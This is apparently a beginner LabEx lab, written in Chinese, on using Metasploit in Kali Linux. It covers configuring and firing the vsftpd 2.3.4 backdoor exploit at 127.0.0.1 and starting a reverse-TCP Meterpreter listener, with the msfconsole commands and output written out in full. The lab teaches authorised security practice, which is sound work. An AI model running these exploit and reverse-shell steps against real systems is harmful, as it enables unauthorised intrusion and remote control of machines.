使用 Metasploit 进行 Kali 渗透测试

Kali LinuxBeginner
立即练习

简介

在本实验中,你将学习如何在 LabEx 虚拟机的受控环境中,使用 Kali Linux 进行渗透测试的基础知识。重点在于利用强大的 Metasploit 框架来识别漏洞、配置有效载荷(Payload)、执行漏洞利用,并通过 Meterpreter 会话与受控系统进行交互。本实验专为初学者设计,将以安全且结构化的方式,引导你逐步掌握基本的网络安全技术。当你打开终端时,系统会自动连接到 Kali Linux 容器的 Shell,无需手动启动或进入容器即可直接开始练习。

启动 Metasploit 框架

在第一步中,你将启动 Metasploit 框架,这是 Kali Linux 中进行渗透测试的关键工具。这一步至关重要,因为它为后续识别和利用漏洞奠定了环境基础。

当你打开 LabEx 虚拟机中的终端时,系统会自动连接到 Kali Linux 容器的 Shell。无需手动启动容器或进入 Shell,环境已经为你配置好了。

在使用 Metasploit 之前,需要确保它已安装在 Kali Linux 容器中。首先,在终端输入以下命令并按 Enter 键,更新软件包列表:

apt update

接下来,安装 Metasploit 框架。安装过程可能需要几分钟,请耐心等待完成。

apt install -y metasploit-framework

安装完成后,输入以下命令并按 Enter 键启动 Metasploit 控制台:

msfconsole

首次运行此命令时,由于需要初始化数据库并加载模块,可能需要一点时间。当 Metasploit 启动时,你会看到一个 ASCII 艺术横幅和一个类似于以下的提示符:

Metasploit Framework
...
msf6 >

msf6 > 提示符表示你现在已经进入了 Metasploit 控制台,可以开始与框架进行交互了。请不要退出控制台,因为你将在下一步中使用它来搜索和选择漏洞利用程序。

搜索并选择漏洞利用程序

现在你已经启动了 Metasploit 框架,下一步是搜索并选择一个漏洞利用程序(Exploit)。漏洞利用程序是一段利用软件漏洞导致非预期行为(例如获取未经授权的访问权限)的代码。

由于你已经在 Metasploit 控制台中(显示 msf6 > 提示符),让我们搜索一个与 FTP(文件传输协议)相关的漏洞利用程序,这是一种常见的可能存在漏洞的服务。输入以下命令并按 Enter 键:

search ftp

该命令会列出与 FTP 相关的漏洞利用和辅助模块。输出结果将显示一个匹配模块的表格。

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

在本实验中,我们将使用 vsftpd_234_backdoor 漏洞利用程序。要选择它,请使用 use 命令,后跟漏洞利用程序的名称。

use exploit/unix/ftp/vsftpd_234_backdoor

选择漏洞利用程序后,你的提示符将发生变化,包含该漏洞利用程序的名称,表明它现在是活动模块。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

要查看有关所选漏洞利用程序的详细信息(包括其选项和要求),请输入 info 命令。

info

输出结果提供了平台、架构和可用目标等详细信息。

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

你现在已经成功选择了漏洞利用程序。在下一步中,你将为该漏洞利用程序配置有效载荷。

注意:Labby 无法获取 msf shell 中的操作记录,因此以下步骤将不会被验证。

配置漏洞利用程序与有效载荷

选择了漏洞利用程序后,现在需要配置其选项并设置有效载荷(Payload)。有效载荷是在漏洞利用成功后在目标系统上运行的代码。在本实验中,你将配置一个交互式命令 Shell 有效载荷,允许你在目标系统上执行命令。

重要提示:在设置有效载荷之前,务必检查哪些有效载荷与你选择的漏洞利用程序兼容。使用以下命令查看所有兼容的有效载荷:

show payloads

这将显示与 vsftpd_234_backdoor 漏洞利用程序兼容的有效载荷列表。你应该只会看到一个兼容的有效载荷:cmd/unix/interact

首先,设置有效载荷。我们将使用与此漏洞利用程序兼容的交互式命令 Shell。有效载荷名称 cmd/unix/interact 遵循特定的结构:<architecture>/<platform>/<type>。其中 cmd 表示命令 Shell 架构,unix 指定目标平台,interact 表示它将提供一个交互式会话。

set payload cmd/unix/interact

你将看到一条确认消息。

payload => cmd/unix/interact

接下来,你需要配置漏洞利用选项。RHOST(远程主机)选项指定目标机器的 IP 地址。对于此模拟,我们将其设置为 127.0.0.1

set RHOST 127.0.0.1

重要说明:与反向 Shell 有效载荷不同,cmd/unix/interact 有效载荷不需要 LHOSTLPORT 设置。此有效载荷直接与目标建立交互式命令会话。

要验证所有设置,请使用 show options 命令。

show options

这将显示漏洞利用程序的选项表。请检查 RHOST 是否设置正确。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

你的漏洞利用程序和有效载荷现已配置完毕,准备在下一步中执行。

执行漏洞利用

配置好漏洞利用程序和有效载荷后,现在可以执行它了。exploit 命令指示 Metasploit 对指定的目标(RHOST)发起攻击。

在 Metasploit 控制台中,只需输入以下命令并按 Enter 键:

exploit

Metasploit 将尝试运行该漏洞利用程序。由于在本实验环境中 127.0.0.1 上并没有实际运行易受攻击的 VSFTPD 服务,因此漏洞利用将会失败。这是预料之中的,它展示了发起攻击的过程。

输出结果将显示 Metasploit 尝试连接到目标 FTP 服务,但由于服务未运行而失败:

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

注意:使用 cmd/unix/interact 有效载荷时,你不会看到反向 Shell 监听器启动。相反,如果目标 FTP 服务存在漏洞且可访问,此有效载荷将尝试与目标建立直接的交互式命令会话。

消息 Exploit completed, but no session was created 确认了失败。在存在易受攻击的 VSFTPD 服务的成功场景中,这将建立一个交互式命令 Shell 会话,允许你在目标系统上直接执行命令。这一步教会了你发起漏洞利用的基本命令,这是渗透测试工作流程的核心部分。

设置 Meterpreter 监听器

在最后一步中,你将学习如何为 Meterpreter 有效载荷设置监听器。Meterpreter 是一个功能丰富的高级有效载荷,可在目标系统上提供交互式 Shell。你将使用 exploit/multi/handler 模块来监听传入的连接,而不是发起漏洞利用。当漏洞利用通过其他方式(例如恶意文件)传递,且你需要捕获反向连接时,这非常有用。

首先,切换到 multi/handler 模块。

use exploit/multi/handler

你的提示符将发生变化以反映新模块。

msf6 exploit(multi/handler) >

接下来,设置一个 Meterpreter 有效载荷。我们将使用一个专为 Linux 系统设计的有效载荷。有效载荷名称 linux/x86/meterpreter/reverse_tcp 遵循逻辑结构:<platform>/<architecture>/<type>/<protocol>。它指定了 Linux 平台、x86 架构、Meterpreter 有效载荷类型以及反向 TCP 连接协议。

set payload linux/x86/meterpreter/reverse_tcp

现在,像之前一样配置监听器选项 LHOSTLPORT

set LHOST 127.0.0.1

注意:你可能会看到关于绑定到回环地址的警告消息。在使用本地主机(127.0.0.1)时这是正常的,在本实验中可以安全忽略。

set LPORT 4444

最后,使用 exploit 命令启动监听器。

exploit

Metasploit 将在指定的 IP 和端口上启动监听器,等待 Meterpreter 会话连接。

[*] Started reverse TCP handler on 127.0.0.1:4444

控制台将保持活动状态,等待连接。在真实场景中,如果目标机器执行了相应的 Meterpreter 有效载荷,这里就会建立一个会话。由于本实验中没有目标会连接,你可以通过按 Ctrl + C 停止监听器。

要退出 Metasploit 控制台,请输入 exit 并按 Enter 键。

总结

在本实验中,你学习了使用 Kali Linux 和 Metasploit 框架进行渗透测试的基本步骤。你从启动 Metasploit 开始,搜索并选择了漏洞利用程序,配置了漏洞利用程序和反向 Shell 有效载荷,并在模拟环境中执行了攻击。你还学习了如何为高级 Meterpreter 有效载荷设置独立监听器。这些步骤为你提供了识别漏洞、准备有效载荷以及理解漏洞利用过程的核心工作流程的实践入门。通过遵循这种结构化的方法,你获得了使用基本网络安全工具和技术的实战经验。